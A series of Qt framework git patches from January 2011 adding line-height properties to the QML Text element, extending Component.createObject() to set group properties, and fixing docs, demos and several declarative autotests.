    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
    index 58751e7..f3697d5 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
    @@ -62,6 +62,7 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplici
         Q_ENUMS(TextFormat)
         Q_ENUMS(TextElideMode)
         Q_ENUMS(WrapMode)
    +    Q_ENUMS(LineHeightMode)
     
         Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
         Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
    @@ -79,6 +80,8 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplici
         Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
         Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
         Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
    +    Q_PROPERTY(qreal lineHeight READ lineHeight WRITE setLineHeight NOTIFY lineHeightChanged REVISION 1)
    +    Q_PROPERTY(LineHeightMode lineHeightMode READ lineHeightMode WRITE setLineHeightMode NOTIFY lineHeightModeChanged REVISION 1)
     
     public:
         QDeclarativeText(QDeclarativeItem *parent=0);
    @@ -111,6 +114,8 @@ public:
                         Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
                       };
     
    +    enum LineHeightMode { MultiplyHeight, PixelHeight };
    +
         QString text() const;
         void setText(const QString &);
     
    @@ -148,6 +153,12 @@ public:
         TextElideMode elideMode() const;
         void setElideMode(TextElideMode);
     
    +    qreal lineHeight() const;
    +    void setLineHeight(qreal lineHeight);
    +
    +    LineHeightMode lineHeightMode() const;
    +    void setLineHeightMode(LineHeightMode);
    +
         void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
     
         virtual void componentComplete();
    @@ -175,6 +186,8 @@ Q_SIGNALS:
         void textFormatChanged(TextFormat textFormat);
         void elideModeChanged(TextElideMode mode);
         void paintedSizeChanged();
    +    Q_REVISION(1) void lineHeightChanged(qreal lineHeight);
    +    Q_REVISION(1) void lineHeightModeChanged(LineHeightMode mode);
     
     protected:
         void mousePressEvent(QGraphicsSceneMouseEvent *event);
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    index 01e0ab5..36ae123 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    @@ -89,6 +89,8 @@ public:
         QDeclarativeText::TextElideMode elideMode;
         QDeclarativeText::TextFormat format;
         QDeclarativeText::WrapMode wrapMode;
    +    qreal lineHeight;
    +    QDeclarativeText::LineHeightMode lineHeightMode;
         int lineCount;
         bool truncated;
         int maximumLineCount;
    diff --git a/src/gui/text/qtextdocumentlayout.cpp b/src/gui/text/qtextdocumentlayout.cpp
    index d721c91..c1c3768 100644
    --- a/src/gui/text/qtextdocumentlayout.cpp
    +++ b/src/gui/text/qtextdocumentlayout.cpp
    @@ -513,6 +513,9 @@ public:
     
         qreal scaleToDevice(qreal value) const;
         QFixed scaleToDevice(QFixed value) const;
    +
    +    qreal lineH;
    +    QTextDocumentLayout::LineHeightMode lineHeightMode;
     };
     
     QTextDocumentLayoutPrivate::QTextDocumentLayoutPrivate()
    @@ -520,7 +523,9 @@ QTextDocumentLayoutPrivate::QTextDocumentLayoutPrivate()
           cursorWidth(1),
           currentLazyLayoutPosition(-1),
           lazyLayoutStepSize(1000),
    -      lastPageCount(-1)
    +      lastPageCount(-1),
    +      lineH(1),
    +      lineHeightMode(QTextDocumentLayout::MultiplyHeight)
     {
         showLayoutProgress = true;
         insideDocumentChange = false;
    @@ -2639,7 +2644,8 @@ void QTextDocumentLayoutPrivate::layoutBlock(const QTextBlock &bl, int blockPosi
     
                 }
     
    -            QFixed lineHeight = QFixed::fromReal(line.height());
    +            QFixed lineHeight = (lineHeightMode == QTextDocumentLayout::PixelHeight) ? QFixed::fromReal(lineH) : QFixed::fromReal(line.height() * lineH);
    +
                 if (layoutStruct->pageHeight > 0 && layoutStruct->absoluteY() + lineHeight > layoutStruct->pageBottom) {
                     layoutStruct->newPage();
     
    @@ -2714,6 +2720,13 @@ void QTextDocumentLayoutPrivate::layoutBlock(const QTextBlock &bl, int blockPosi
         }
     }
     
    +void QTextDocumentLayout::setLineHeight(qreal lineH, QTextDocumentLayout::LineHeightMode mode = QTextDocumentLayout::MultiplyHeight)
    +{
    +    Q_D(QTextDocumentLayout);
    +    d->lineH = lineH;
    +    d->lineHeightMode = mode;
    +}
    +
     void QTextDocumentLayoutPrivate::floatMargins(const QFixed &y, const QTextLayoutStruct *layoutStruct,
                                                   QFixed *left, QFixed *right) const
     {
    diff --git a/src/gui/text/qtextdocumentlayout_p.h b/src/gui/text/qtextdocumentlayout_p.h
    index 3c0383c..efc408b 100644
    --- a/src/gui/text/qtextdocumentlayout_p.h
    +++ b/src/gui/text/qtextdocumentlayout_p.h
    @@ -63,7 +63,7 @@ class QTextListFormat;
     
     class QTextDocumentLayoutPrivate;
     
    -class Q_AUTOTEST_EXPORT QTextDocumentLayout : public QAbstractTextDocumentLayout
    +class Q_GUI_EXPORT QTextDocumentLayout : public QAbstractTextDocumentLayout
     {
         Q_DECLARE_PRIVATE(QTextDocumentLayout)
         Q_OBJECT
    @@ -109,6 +109,9 @@ protected:
         void drawInlineObject(QPainter *p, const QRectF &rect, QTextInlineObject item,
                               int posInDocument, const QTextFormat &format);
         virtual void timerEvent(QTimerEvent *e);
    +    enum LineHeightMode { MultiplyHeight, PixelHeight };
    +    void setLineHeight(qreal lineHeight, QTextDocumentLayout::LineHeightMode mode);
    +
     private:
         QRectF doLayout(int from, int oldLength, int length);
         void layoutFinished();
    diff --git a/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
    new file mode 100644
    index 0000000..851d871
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
    @@ -0,0 +1,15 @@
    +import QtQuick 1.1
    +
    +Item {
    +    width: 200
    +    height: 200
    +
    +    Text {
    +        id: myText
    +        objectName: "myText"
    +        width: 200
    +        wrapMode: Text.WordWrap
    +        font.pixelSize: 13
    +        text: "Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index c9b5295..b96fbff 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -81,6 +81,7 @@ private slots:
         void embeddedImages();
     
         void lineCount();
    +    void lineHeight();
     
         // ### these tests may be trivial    
         void horizontalAlignment();
    @@ -1082,6 +1083,37 @@ void tst_qdeclarativetext::lineCount()
         QCOMPARE(myText->maximumLineCount(), 2);
     }
     
    +void tst_qdeclarativetext::lineHeight()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/lineHeight.qml");
    +
    +    QDeclarativeText *myText = canvas->rootObject()->findChild("myText");
    +    QVERIFY(myText != 0);
    +
    +    QVERIFY(myText->lineHeight() == 1);
    +    QVERIFY(myText->lineHeightMode() == QDeclarativeText::MultiplyHeight);
    +
    +    qreal h = myText->height();
    +    myText->setLineHeight(1.5);
    +    QVERIFY(myText->height() == h * 1.5);
    +
    +    myText->setLineHeightMode(QDeclarativeText::PixelHeight);
    +    myText->setLineHeight(20);
    +    QCOMPARE(myText->height(), 120.0);
    +
    +    myText->setText("Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
    +    myText->setLineHeightMode(QDeclarativeText::MultiplyHeight);
    +    myText->setLineHeight(1);
    +
    +    qreal h2 = myText->height();
    +    myText->setLineHeight(1.25);
    +    QVERIFY(myText->height() == h2 * 1.25);
    +
    +    myText->setLineHeightMode(QDeclarativeText::PixelHeight);
    +    myText->setLineHeight(10);
    +    QCOMPARE(myText->height(), 60.0);
    +}
    +
     void tst_qdeclarativetext::implicitSize_data()
     {
         QTest::addColumn("text");
    -- 
    cgit v0.12
    
    
    From 92488ca7e538e6bcf87d5cea4a78c39bb26346b7 Mon Sep 17 00:00:00 2001
    From: Yann Bodson 
    Date: Fri, 28 Jan 2011 14:55:25 +1000
    Subject: Doc fix for lineHeight.
    
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp | 4 +++-
     1 file changed, 3 insertions(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index fb1ae06..54b4c3a 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -1433,6 +1433,8 @@ qreal QDeclarativeText::paintedHeight() const
         Sets the line height for the text.
         The value can be in pixels or a multiplier depending on lineHeightMode.
     
    +    The default value is a multiplier of 1.0.
    +    The line height must be a positive value.
     */
     qreal QDeclarativeText::lineHeight() const
     {
    @@ -1453,7 +1455,7 @@ void QDeclarativeText::setLineHeight(qreal lineHeight)
     }
     
     /*!
    -    \qmlproperty real Text::lineHeightMode
    +    \qmlproperty enumeration Text::lineHeightMode
     
         This property determines how the line height is specified.
         The possible values are:
    -- 
    cgit v0.12
    
    
    From 7db57713a7961657fb1e133cf8fe3fbbd6378cfd Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 28 Jan 2011 15:05:53 +1000
    Subject: Fix typo in error message.
    
    Task-number: QTBUG-16964
    ---
     src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
    index 065a388..9e89203 100644
    --- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
    @@ -1076,7 +1076,7 @@ QDeclarativeItem *QDeclarativeVisualDataModel::item(int index, const QByteArray
             } else {
                 delete data;
                 delete ctxt;
    -            qmlInfo(this, d->m_delegate->errors()) << "Error creating delgate";
    +            qmlInfo(this, d->m_delegate->errors()) << "Error creating delegate";
             }
         }
         QDeclarativeItem *item = qobject_cast(nobj);
    -- 
    cgit v0.12
    
    
    From de223987715ad747496099165121aabdc38c8b0a Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 12:58:15 +1000
    Subject: Fix test breakage for qdeclarativeworkerscript
    
    Broken by 43b8305367156c1ceb09eb4a056bdae3f325b5eb.
    ---
     src/declarative/qml/qdeclarativeobjectscriptclass.cpp | 4 +++-
     1 file changed, 3 insertions(+), 1 deletion(-)
    
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index ee47d0b..2aa2059 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -392,7 +392,9 @@ void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
             QString error = QLatin1String("Cannot assign [undefined] to ") +
                             QLatin1String(QMetaType::typeName(lastData->propType));
             context->throwError(error);
    -    } else if (!value.isFunction()) {
    +    } else if (value.isFunction() && !value.isRegExp()) {
    +        // this is handled by the binding creation above
    +    } else {
             QVariant v;
             if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
                 v = enginePriv->scriptValueToVariant(value, qMetaTypeId >());
    -- 
    cgit v0.12
    
    
    From 5010d88ff9bbe32f3cc0477647370cfe8b49394b Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:14:27 +1000
    Subject: Fix failing test on mac for Qt.application
    
    setActiveWindow(0) on mac does not deactivate the current application.
    ---
     .../qdeclarativeapplication/tst_qdeclarativeapplication.cpp           | 4 ++++
     1 file changed, 4 insertions(+)
    
    diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
    index 3011257..64f327b 100644
    --- a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
    +++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
    @@ -87,9 +87,13 @@ void tst_qdeclarativeapplication::active()
         QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
     
         // not active again
    +    // on mac, setActiveWindow(0) on mac does not deactivate the current application
    +    // (you have to switch to a different app or hide the current app to trigger this)
    +#if !defined(Q_WS_MAC)
         QApplication::setActiveWindow(0);
         QVERIFY(!item->property("active").toBool());
         QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
    +#endif
     }
     
     void tst_qdeclarativeapplication::layoutDirection()
    -- 
    cgit v0.12
    
    
    From 7837e65c99324b539582066be308fb26ae439ecc Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:14:45 +1000
    Subject: disable some pincharea tests on mac temporarily
    
    ---
     .../qdeclarativepincharea/tst_qdeclarativepincharea.cpp          | 9 +++++++++
     1 file changed, 9 insertions(+)
    
    diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    index f175033..6683db2 100644
    --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    @@ -228,8 +228,14 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo on mac", Continue);
    +#endif
         QCOMPARE(root->property("scale").toReal(), 1.5);
         QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo on mac", Continue);
    +#endif
         QCOMPARE(blackRect->scale(), 1.5);
     
         // scale beyond bound
    @@ -237,6 +243,9 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(50,50);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo on mac", Continue);
    +#endif
         QCOMPARE(blackRect->scale(), 2.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    -- 
    cgit v0.12
    
    
    From 0e28a97c16f78e222841981653e71175313a4f4c Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:40:55 +1000
    Subject: photoviewer needs QtQuick 1.1 for Image::cache
    
    ---
     demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
    index bfc8756..dcb1112 100644
    --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
    +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     import "script/script.js" as Script
     
     Package {
    -- 
    cgit v0.12
    
    
    From 1391ebba9eb214f1f7f7b236f0e22eb41828f72c Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 28 Jan 2011 15:53:49 +1000
    Subject: Test failure fixed - remove XFAIL
    
    ---
     tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 2 --
     1 file changed, 2 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index a5e708b..42746e8 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -614,8 +614,6 @@ void tst_QDeclarativeLoader::implicitSize()
         QCOMPARE(item->height(), 150.);
     
         QCOMPARE(item->property("implHeight").toReal(), 100.);
    -
    -    QEXPECT_FAIL("", "versioned property implicit object reference", Continue);
         QCOMPARE(item->property("implWidth").toReal(), 100.);
     
         delete item;
    -- 
    cgit v0.12
    
    
    From 6bdac26b9fc1575ee7783a47604108efc7058dcb Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 15:58:07 +1000
    Subject: Update test, versioning is fixed so expect-fail no longer needed
    
    ---
     tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 1 -
     1 file changed, 1 deletion(-)
    
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index a5e708b..4626c9c 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -615,7 +615,6 @@ void tst_QDeclarativeLoader::implicitSize()
     
         QCOMPARE(item->property("implHeight").toReal(), 100.);
     
    -    QEXPECT_FAIL("", "versioned property implicit object reference", Continue);
         QCOMPARE(item->property("implWidth").toReal(), 100.);
     
         delete item;
    -- 
    cgit v0.12
    
    
    From 281f449dfcb533448c0f2df955b4f5c059db7ba2 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 15:57:12 +1000
    Subject: Adding support for group properties in Component::CreateObject()
    
    The QScriptValue overload for Component::CreateObject() should be able
    to set group properties. This change also allows for property
    binding from Javascript to continue to function.
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.cpp                       | 6 +++++-
     .../qdeclarativecomponent/data/createObjectWithScript.qml           | 2 +-
     .../declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp | 2 ++
     3 files changed, 8 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index b634a7a..06bf3fd 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -715,7 +715,11 @@ QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, c
             QScriptValueIterator it(valuemap);
             while (it.hasNext()) {
                 it.next();
    -            newObject.setProperty(it.name(), it.value(), QScriptValue::KeepExistingFlags);
    +            if (it.value().isFunction()) { // To allow property binding from javascript to work
    +                newObject.setProperty(it.name(), it.value());
    +            } else {
    +                QDeclarativeProperty::write(ret,it.name(),it.value().toVariant());
    +            }
             }
         }
     
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    index 6f9ddc1..2ce76ed 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -29,7 +29,7 @@ Item{
         }
     
         Component.onCompleted: {
    -        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white"});
    +        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3});
             root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
     
             root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 62c6bb5..7b7b392 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -45,6 +45,7 @@
     #include 
     #include 
     #include 
    +#include 
     #include 
     
     #ifdef Q_OS_SYMBIAN
    @@ -135,6 +136,7 @@ void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
         QCOMPARE(testObject1->property("x").value(), 17);
         QCOMPARE(testObject1->property("y").value(), 17);
         QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
    +    QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
         delete testObject1;
     
         QObject *testObject2 = object->property("declarativeitem").value();
    -- 
    cgit v0.12
    
    
    From 74329f77d567e0b7e8cd4cab2ff6ce3f2b8892ad Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 16:03:22 +1000
    Subject: Update Docs, Examples and Demos for new CreateObject overloadable
    
    Dynamic object in Docs explains QScriptValue argument.
    SameGame and Dynamic scene now make use of overloadable.
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     demos/declarative/samegame/SamegameCore/BoomBlock.qml      |  2 +-
     demos/declarative/samegame/SamegameCore/Button.qml         |  2 +-
     demos/declarative/samegame/SamegameCore/Dialog.qml         |  2 +-
     demos/declarative/samegame/SamegameCore/samegame.js        | 11 ++++++-----
     demos/declarative/samegame/samegame.qml                    |  2 +-
     doc/src/declarative/dynamicobjects.qdoc                    | 14 ++++++++++----
     doc/src/snippets/declarative/componentCreation.js          |  6 +-----
     examples/declarative/toys/dynamicscene/qml/itemCreation.js |  7 ++-----
     8 files changed, 23 insertions(+), 23 deletions(-)
    
    diff --git a/demos/declarative/samegame/SamegameCore/BoomBlock.qml b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
    index da51230..009aeca 100644
    --- a/demos/declarative/samegame/SamegameCore/BoomBlock.qml
    +++ b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     import Qt.labs.particles 1.0
     
     Item {
    diff --git a/demos/declarative/samegame/SamegameCore/Button.qml b/demos/declarative/samegame/SamegameCore/Button.qml
    index aea4e53..b2b232c 100644
    --- a/demos/declarative/samegame/SamegameCore/Button.qml
    +++ b/demos/declarative/samegame/SamegameCore/Button.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     
     Rectangle {
         id: container
    diff --git a/demos/declarative/samegame/SamegameCore/Dialog.qml b/demos/declarative/samegame/SamegameCore/Dialog.qml
    index b11c65c..ecac475 100644
    --- a/demos/declarative/samegame/SamegameCore/Dialog.qml
    +++ b/demos/declarative/samegame/SamegameCore/Dialog.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     
     Rectangle {
         id: page
    diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js
    index 9266767..b838790 100755
    --- a/demos/declarative/samegame/SamegameCore/samegame.js
    +++ b/demos/declarative/samegame/SamegameCore/samegame.js
    @@ -177,18 +177,19 @@ function createBlock(column,row){
         // not be ready immediately. There is a statusChanged signal on the
         // component you could use if you want to wait to load remote files.
         if(component.status == Component.Ready){
    -        var dynamicObject = component.createObject(gameCanvas);
    +        var dynamicObject = component.createObject(gameCanvas,
    +                {"type": Math.floor(Math.random() * 3),
    +                "x": column*gameCanvas.blockSize,
    +                "width": gameCanvas.blockSize,
    +                "height": gameCanvas.blockSize});
             if(dynamicObject == null){
                 console.log("error creating block");
                 console.log(component.errorString());
                 return false;
             }
    -        dynamicObject.type = Math.floor(Math.random() * 3);
    -        dynamicObject.x = column*gameCanvas.blockSize;
             dynamicObject.y = row*gameCanvas.blockSize;
    -        dynamicObject.width = gameCanvas.blockSize;
    -        dynamicObject.height = gameCanvas.blockSize;
             dynamicObject.spawned = true;
    +
             board[index(column,row)] = dynamicObject;
         }else{
             console.log("error loading block component");
    diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml
    index ebb8e4a..ab64156 100644
    --- a/demos/declarative/samegame/samegame.qml
    +++ b/demos/declarative/samegame/samegame.qml
    @@ -39,7 +39,7 @@
     **
     ****************************************************************************/
     
    -import QtQuick 1.0
    +import QtQuick 1.1
     import "SamegameCore"
     import "SamegameCore/samegame.js" as Logic
     
    diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
    index 073e0c4..f186dca 100644
    --- a/doc/src/declarative/dynamicobjects.qdoc
    +++ b/doc/src/declarative/dynamicobjects.qdoc
    @@ -62,10 +62,16 @@ To dynamically load a component defined in a QML file, call the
     This function takes the URL of the QML file as its only argument and creates
     a \l Component object from this URL.
     
    -Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
    -the component. This function takes exactly one argument, which is the parent for the new item. Since graphical items will
    -not appear on the scene without a parent, it is recommended that you set the parent this way. However, if you wish to set
    -the parent later you can safely pass \c null to this function.
    +Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of 
    +the component. This function can take one or two arguments:
    +\list
    +\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is 
    +  recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to 
    +  this function. 
    +\o The second is optional and is a script which assigns values to the item's properties during creation. This avoids warnings 
    +  when certain properties have been bound to before they have been set by the code. Additionally, there are small performance 
    +  benefits when instantiating objects in this way.
    +\endlist
     
     Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
     
    diff --git a/doc/src/snippets/declarative/componentCreation.js b/doc/src/snippets/declarative/componentCreation.js
    index c29a1f9..cf59777 100644
    --- a/doc/src/snippets/declarative/componentCreation.js
    +++ b/doc/src/snippets/declarative/componentCreation.js
    @@ -17,15 +17,11 @@ function createSpriteObjects() {
     
     //![local]
         component = Qt.createComponent("Sprite.qml");
    -    sprite = component.createObject(appWindow);
    +    sprite = component.createObject(appWindow, {"x": 100, "y": 100});
     
         if (sprite == null) {
             // Error Handling
             console.log("Error creating object");
    -    } else {
    -        sprite.x = 100;
    -        sprite.y = 100;
    -        // ...
         }
     //![local]
     
    diff --git a/examples/declarative/toys/dynamicscene/qml/itemCreation.js b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
    index e74f7b0..4ee74c2 100644
    --- a/examples/declarative/toys/dynamicscene/qml/itemCreation.js
    +++ b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
    @@ -28,11 +28,8 @@ function loadComponent() {
     
     function createItem() {
         if (itemComponent.status == Component.Ready && draggedItem == null) {
    -        draggedItem = itemComponent.createObject(window);
    -        draggedItem.image = paletteItem.image;
    -        draggedItem.x = posnInWindow.x;
    -        draggedItem.y = posnInWindow.y;
    -        draggedItem.z = 3;  // make sure created item is above the ground layer
    +        draggedItem = itemComponent.createObject(window, {"image": paletteItem.image, "x": posnInWindow.x, "y": posnInWindow.y, "z": 3});
    +        // make sure created item is above the ground layer
         } else if (itemComponent.status == Component.Error) {
             draggedItem = null;
             console.log("error creating component");
    -- 
    cgit v0.12
    
    
    From c98bd0ae192cac1254b2c98b497002e6256f0fbc Mon Sep 17 00:00:00 2001
    From: Yann Bodson 
    Date: Fri, 28 Jan 2011 17:48:04 +1000
    Subject: Fix lineHeight autotests.
    
    ---
     tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index b96fbff..8111cd2 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -1099,19 +1099,19 @@ void tst_qdeclarativetext::lineHeight()
     
         myText->setLineHeightMode(QDeclarativeText::PixelHeight);
         myText->setLineHeight(20);
    -    QCOMPARE(myText->height(), 120.0);
    +    QCOMPARE(myText->height(), myText->lineCount() * 20.0);
     
         myText->setText("Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
         myText->setLineHeightMode(QDeclarativeText::MultiplyHeight);
         myText->setLineHeight(1);
     
         qreal h2 = myText->height();
    -    myText->setLineHeight(1.25);
    -    QVERIFY(myText->height() == h2 * 1.25);
    +    myText->setLineHeight(2.0);
    +    QVERIFY(myText->height() == h2 * 2.0);
     
         myText->setLineHeightMode(QDeclarativeText::PixelHeight);
         myText->setLineHeight(10);
    -    QCOMPARE(myText->height(), 60.0);
    +    QCOMPARE(myText->height(), myText->lineCount() * 10.0);
     }
     
     void tst_qdeclarativetext::implicitSize_data()
    -- 
    cgit v0.12
    
    
